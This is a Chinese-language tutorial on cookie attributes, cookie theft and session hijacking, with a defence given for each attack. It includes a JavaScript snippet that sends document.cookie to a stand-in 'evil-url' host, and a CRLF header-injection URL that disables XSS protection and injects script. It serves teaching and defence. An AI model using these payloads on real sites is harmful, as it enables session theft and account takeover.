Cookie竊取和Session劫持
一、cookie的基本特性
如果不瞭解cookie,可以先到 wikipedia 上學習一下。
http request
瀏覽器向伺服器發起的每個請求都會帶上cookie:
Host: www.example.org
Cookie: foo=value1;bar=value2
Accept: */*
http response
伺服器給瀏覽器的返回可以設定cookie:
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
(content of page)
二、cookie有關的術語
session cookie
當cookie沒有設定超時時間,那麼cookie會在瀏覽器退出時銷燬,這種cookie是session cookie。
persistent cookie/tracking cookie
設定了超時時間的cookie,會在指定時間銷燬,cookie的維持時間可以持續到瀏覽器退出之後,這種cookie被持久化在瀏覽器中。很多站點用cookie跟蹤使用者的歷史記錄,例如廣告類站點會使用cookie記錄瀏覽過哪些內容,搜尋引擎會使用cookie記錄歷史搜尋記錄,這時也可以稱作tracking cookie,因為它被用於追蹤使用者行為。
secure cookie
伺服器端設定cookie的時候,可以指定 secure
屬性,這時cookie只有通過https協議傳輸的時候才會帶到網路請求中,不加密的http請求不會帶有secure cookie。設定secure
cookie的方式舉例:
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
伺服器端設定cookie的時候,也可以指定一個 HttpOnly
屬性。
Set-Cookie: foo=bar; Path=/; HttpOnly
設定了這個屬性的cookie在javascript中無法獲取到,只會在網路傳輸過程中帶到伺服器。
第三方cookie的使用場景通常是iframe,例如www.a.com潛入了一個www.ad.com的廣告iframe,那麼www.ad.com設定的cookie不屬於www.a.com,被稱作第三方cookie。
supercookie
cookie會從屬於一個域名,例如www.a.com,或者屬於一個子域,例如b.a.com。但是如果cookie被宣告為屬於.com會發生什麼?這個cookie會在任何.com域名生效。這有很大的安全性問題。這種cookie被稱作supercookie。瀏覽器做出了限制,不允許設定頂級域名cookie(例如.com,.net)和pubic suffix cookie(例如.co.uk,.com.cn)。現代主流瀏覽器都很好的處理了supercookie問題,但是如果有些第三方瀏覽器使用的頂級域名和public suffix列表有問題,那麼就可以針對supercookie進行攻擊啦。
zombie cookie/evercookie
殭屍cookie是指當用戶通過瀏覽器的設定清除cookie後可以自動重新建立的cookie。原理是通過使用多重技術記錄同樣的內容(例如flash,silverlight),當cookie被刪除時,從其他儲存中恢復。 evercookie是實現殭屍cookie的主要技術手段。 瞭解 殭屍cookie 和 evercookie 。
三、cookie有什麼用
通常cookie有三種主要的用途。
session管理
http協議本身是無狀態的,但是現代站點很多都需要維持登入態,也就是維持會話。最基本的維持會話的方式是 Base Auth ,但是這種方式,使用者名稱和密碼在每次請求中都會以明文的方式傳送到客戶端,很容易受到中間人攻擊,存在很大的安全隱患。所以現在大多數站點採用基於cookie的session管理方式:使用者登陸成功後,設定一個唯一的cookie標識本次會話,基於這個標識進行使用者授權。只要請求中帶有這個標識,都認為是登入態。
個性化
cookie可以被用於記錄一些資訊,以便於在後續使用者瀏覽頁面時展示相關內容。典型的例子是購物站點的購物車功能。以前Google退出的iGoogle產品也是一個典型的例子,使用者可以擁有自己的Google自定製主頁,其中就使用了cookie。user tracking
cookie也可以用於追蹤使用者行為,例如是否訪問過本站點,有過哪些操作等。
四、cookie竊取和session劫持
本文就cookie的三種用途中session管理的安全問題進行展開。 既然cookie用於維持會話,如果這個cookie被攻擊者竊取會發生什麼?session被劫持! 攻擊者劫持會話就等於合法登入了你的賬戶,可以瀏覽大部分使用者資源。
最基本的cookie竊取方式:xss漏洞
攻擊一旦站點中存在可利用的xss漏洞,攻擊者可直接利用注入的js指令碼獲取cookie,進而通過非同步請求把標識session id的cookie上報給攻擊者。
var img = document . createElement ( 'img' );
img . src = 'http://evil-url?c=' + encodeURIComponent ( document . cookie );
document . getElementsByTagName ( 'body' )[ 0 ]. appendChild ( img );
如何尋找XSS漏洞是另外一個話題了,自行google之。 防禦 根據上面HttpOnly cookie
的介紹,一旦一個cookie被設定為 HttpOnly
,js指令碼就無法再獲取到,而網路傳輸時依然會帶上。也就是說依然可以依靠這個cookie進行session維持,但客戶端js對其不可見。那麼即使存在xss
document.cookie
獲取到,可以轉而通過其他的方式。下面介紹兩種xss結合其他漏洞的攻擊方式。
xss結合phpinfo頁面
攻擊大家都知道,利用php開發的應用會有一個phpinfo頁面。而這個頁面會dump出請求資訊,其中就包括cookie資訊。
如果開發者沒有關閉這個頁面,就可以利用xss漏洞向這個頁面發起非同步請求,獲取到頁面內容後parse出cookie資訊,然後上傳給攻擊者。 phpinfo只是大家最常見的一種dump請求的頁面,但不僅限於此,為了除錯方便,任何dump請求的頁面都是可以被利用的漏洞。 防禦 關閉所有phpinfo類dump request資訊的頁面。
XSS + HTTP TRACE = XST
這是一種古老的攻擊方式,現在已經消失,寫在這裡可以擴充套件一下攻防思路。http trace是讓我們的web伺服器將客戶端的所有請求資訊返回給客戶端的方法。其中包含了HttpOnly的cookie。如果利用xss非同步發起trace請求,又可以獲取session資訊了。之所以說是一種古老的攻擊方式,因為現代瀏覽器考慮到XST的危害都禁止了非同步發起trace請求。另外提一點,當瀏覽器沒有禁止非同步發起trace的時代,很多開發者都關閉了web server的trace支援來防禦XST攻擊。但攻擊者在特定的情況下還可以繞過,使用者使用了代理伺服器,而代理伺服器沒有關閉trace支援,這樣又可以trace了。
HTTP Response Splitting
通常的XSS攻擊都是把輸入內容注入到response的content中,HTTP Response Splitting是一種針對header的注入。例如,一個站點接受引數做302跳轉:
www.example.com/?r=http://baidu.com
request資訊:
GET /example.com?r=http://baidu.com
HTTP/1.1
Host: example.com
response:
HTTP/1.1 302 Found
Location: http://baidu.com
Content-Type: text/html
這樣頁面就302跳轉到百度了。攻擊者利用r引數可以注入header,r引數不是簡單的url,而是包含 的header資訊:
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
response變成了:
HTTP/1.1 302 Found
Location:
HTTP/1.1 200 OK
Content-Type: text/html
X-XSS-Protection: 0
<html><script> alert ( document . cookie ) </script><h1> Defaced! </h1></html>
Content-Type: text/html
有兩個攻擊要點:
指定X=XSS-Protection: 0 ,關閉瀏覽器的xss保護機制。
注入指令碼
防禦針對header的內容做過濾,不能漏掉 ,特別是Location,host,referrer等。說到底,這也是一種XSS攻擊,只是攻擊方式與普通的不太一樣。針對header的攻擊還可以做SQL注入等,防禦的原則是對所有的輸入進行sanitize(淨化),包括非使用者輸入的內容,比如referrer這種一般由瀏覽器帶過來的資訊,因為請求完全可以被偽造,未必來自瀏覽器。
網路監聽(network eavesdropping/network sniffing)
以上是利用上層應用的特性的幾種攻擊方式,cookie不僅存在於上層應用中,更流轉於請求中。上層應用獲取不到後,攻擊者可以轉而從網路請求中獲取。只要是未使用https加密的網站都可以抓包分析,其中就包含了標識session的cookie。當然,完成網路監聽需要滿足一定的條件,這又是另外一個話題了。常見的方式:
DNS快取投毒攻擊者把要攻擊的域名的一個子域對映到攻擊者的server,然後想辦法讓被攻擊者訪問這個server(XSS request、社會化攻擊等),請求中會帶過來所有cookie(包括HttpOnly)。
中間人攻擊常見的攻擊方式是搭建免費wifi,把DHCP伺服器指定為攻擊者ip,在攻擊者機器上可以收到所有請求,不僅可以獲取cookie,還可以進行指令碼注入。
代理伺服器/VPN翻牆用免費VPN?呵呵。
防禦使用https。使用https協議的請求都被ssl加密,理論上不可破解,即便被網路監聽也無法通過解密看到實際的內容。防禦網絡監聽通常有兩種方式:
通道加密
內容加密
https是加密通道,在此通道上傳輸的內容對中間人都是不可見的。但https是有成本的。內容加密比較好理解,例如對password先加密再傳輸。但是對於標識session的cookie這種標識性資訊是無法通過內容加密得到保護的。那麼,使用https的站點就可以高枕無憂了嗎?事實上,一些細節上的處理不當同樣會暴露出攻擊風險。https站點攻擊:雙協議
如果同時支援http和https,那麼還是可以使用網路監聽http請求獲取cookie。 防禦 只支援https,不支援http。這樣就好了嗎?No.
https站點攻擊:301重定向
例如www.example.com只支援https協議,當用戶直接輸入example.com(大部分使用者都不會手動輸入協議字首),web server通常的處理是返回301要求瀏覽器重定向到https://www.example.com
。這次301請求是http的!而且帶了cookie,這樣又將cookie明文暴露在網路上了。 防禦1 把標識session的cookie設定成secure。上面提到的secure cookie,只允許在https上加密傳輸,在http請求中不會存在,這樣就不會暴露在未加密的網路上了。
然後現實很殘酷,很多站點根本無法做到所有的請求都走https。原因有很多,可能是成本考慮,可能是業務需求。 防禦2 設定Strict-Transport-Security header
,直接省略這個http請求!使用者首次訪問後,伺服器設定了這個header以後,後面就會省略掉這次http 301請求。
思考
如果偷取cookie失敗,無法session劫持,攻擊者如何再發起攻擊?劫持session的目的是拿到登入態,從而獲得伺服器授權做很多請求,例如賬戶變更。如果劫持不到session,也能夠做授權請求不是也達到攻擊的目的了?無需拿到session cookie,跨站發起請求就可以了,這就是CSRF!server通過把使用者憑證儲存在cookie以維持session,http/https協議每次訪問都會自動傳輸cookie,協議上的缺陷是導致可進行CSRF攻擊的根本原因!防禦方式:使用anti-forgery token。
大部分攻擊都是提權行為,最基本的提權通過偷取使用者名稱密碼,不成功轉而竊取session,竊取不成轉而跨站攻擊,實在不行重放也可以造成危害。